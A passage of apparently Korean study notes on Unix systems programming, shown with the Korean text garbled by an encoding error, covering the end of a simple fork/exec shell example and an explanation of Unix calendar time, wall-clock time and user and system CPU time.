if(buf[strlen(buf) - 1] == '\n') // ๋์๋ฆฌ๊ฐ ์ํฐ๋ฉด
buf[strlen(buf) - 1] = 0; // ์ํฐ๊น์ง ๋ช
๋ น์ด๋ก ์คํ์ํค๋ฉด ์๋๋๊น null ๋ก ๋ง๋ ๋ค
if((pid = fork()) < 0)
err_sys("fork error");
else if (pid == 0) { /* child */
execlp(buf, buf, (char *)0);
err_ret("couldn't execute: %s", buf);
exit(127);
}
/* parent */
if ((pid = waitpid(pid, &status, 0)) < 0)
err_sys("waitpid error");
printf("%% ");
}
exit(0);
}
static void sig_int(int signo){
printf("interrupt\n%% "); // "interrupt" ์ถ๋ ฅํ๊ณ ์๋ ๊ทธ๋ฌ๋๋ฏ ์
ธ๋ก ๋์์จ๋ค.
}์๊ฐ ๊ฐ
์ญ์ฌ์ ์ผ๋ก ์ ๋์ค ์์คํ ์ ๋๊ฐ์ ์๊ฐ๊ฐ์ ์ ์งํด์๋ค.
- ์บ๋ฆฐ๋ ์๊ฐ.
- epoch (1970๋ 1์ 1์ผ 00:00:00) ์ผ๋ก๋ถํฐ์ ์๊ฐ์ ์ธ๋ ๊ธฐ๋ฒ.
- ํ์ผ์ด ์์ ๋์๋ค๊ฑฐ๋ ํ๋ ๋ด์ฉ์ ๊ธฐ๋กํ ๋ ์ฌ์ฉ๋๋ค.
- ํ๋ก์ธ์ค ์๊ฐ
- CPU์๊ฐ์ด๋ผ๊ณ ๋ ๋ถ๋ฆฌ๋ ์ด ์๊ฐ๋ฒ์ ํ๋ก์ธ์ค์ ์ํด CPU๊ฐ ์ฌ์ฉ๋ ์๊ฐ์ ์ธก์ ํ๋ค.
- clock tick์ ์ํด ์ธก์ ๋๋ค.(์ด๋น 50์ด๋ 60, ํน์ 100๋ฒ ํฑํ๋ค.)
๊ทธ๋์ ํ ํ๋ก์ธ์ค์ ์คํ์๊ฐ์ ์ธก์ ํ ๋, ์ ๋์ค ์์คํ ์ ๋ค์์ ์ธ๊ฐ์ง ๊ฐ์ ํ๋ก์ธ์ค๋ฅผ ์ํด ์ ์งํ๋ค.
- Clock ์๊ฐ
- wall clock time์ด๋ผ๊ณ ๋ ๋ถ๋ฆฌ๋ ์ด ์๊ฐ๋ฒ์ ํ๋ก์ธ์ค๊ฐ ์คํ์ ์ํด ๊ฑธ๋ฆฐ์๊ฐ์ ๊ฐ๋ฆฌํจ๋ค.
- ์์คํ ์ ์ํด ๋์๊ฐ๋ ๋ค๋ฅธ ํ๋ก์ธ์ค์ ๊ฐ์์ ์์กดํ๋ค.
- ์ฌ์ฉ์์ CPU์๊ฐ
- ์ฌ์ฉ์์ ๋ช ๋ น์ ๊ด๋ จํ ์๊ฐ์ ๋งํ๋ค.
- ์์คํ CPU์๊ฐ
- ์ปค๋์ด ํ๋ก์ธ์ค๋ฅผ ๋์ ํ์ฌ ์คํํ ๋ช
๋ น์ ๊ด๋ จํ ์๊ฐ์ ๋งํ๋ค.
read๋ write์ฒ๋ผ ์์คํ ์๋น์ค๋ฅผ ํธ์ถํ๋ ํจ์๋ฅผ ํธ์ถํ๋ฉด ์ปค๋์์ ์์๋ ์๊ฐ์ ํ๋ก์ธ์ค์ ์ฒญ๊ตฌ๋๋ค.(์ถ๊ฐ ๋๋ค.)
๊ทธ๋ฌ๋๊น read๋ฅผ ํธ์ถํ๊ณ ํด๋น ์์ ์ด ๋๋๋ฉด (์ฌ์ฉ์์ CPU์๊ฐ) += ์์คํ CPU์๊ฐ์ด ๋๋๊ฒ์ด๋ค.
์ ์ ์ CPU์๊ฐ๊ณผ ์์คํ CPU์๊ฐ์ ํฉ์ CPu ์๊ฐ์ด๋ผ๊ณ ๋ถ๋ฆฐ๋ค.
ํ ํ๋ก์ธ์ค์ ๊ดํด์, ์์์ ๋งํ ์ธ๊ฐ์ง์ ์๊ฐ๊ฐ์ ์์๋ด๋ ๋ฐฉ๋ฒ์ ๋งค์ฐ ์ฝ๋ค.
time๋ช ๋ น์ด๋ฅผ ์คํ์ํค๋ฉด๋๋ค.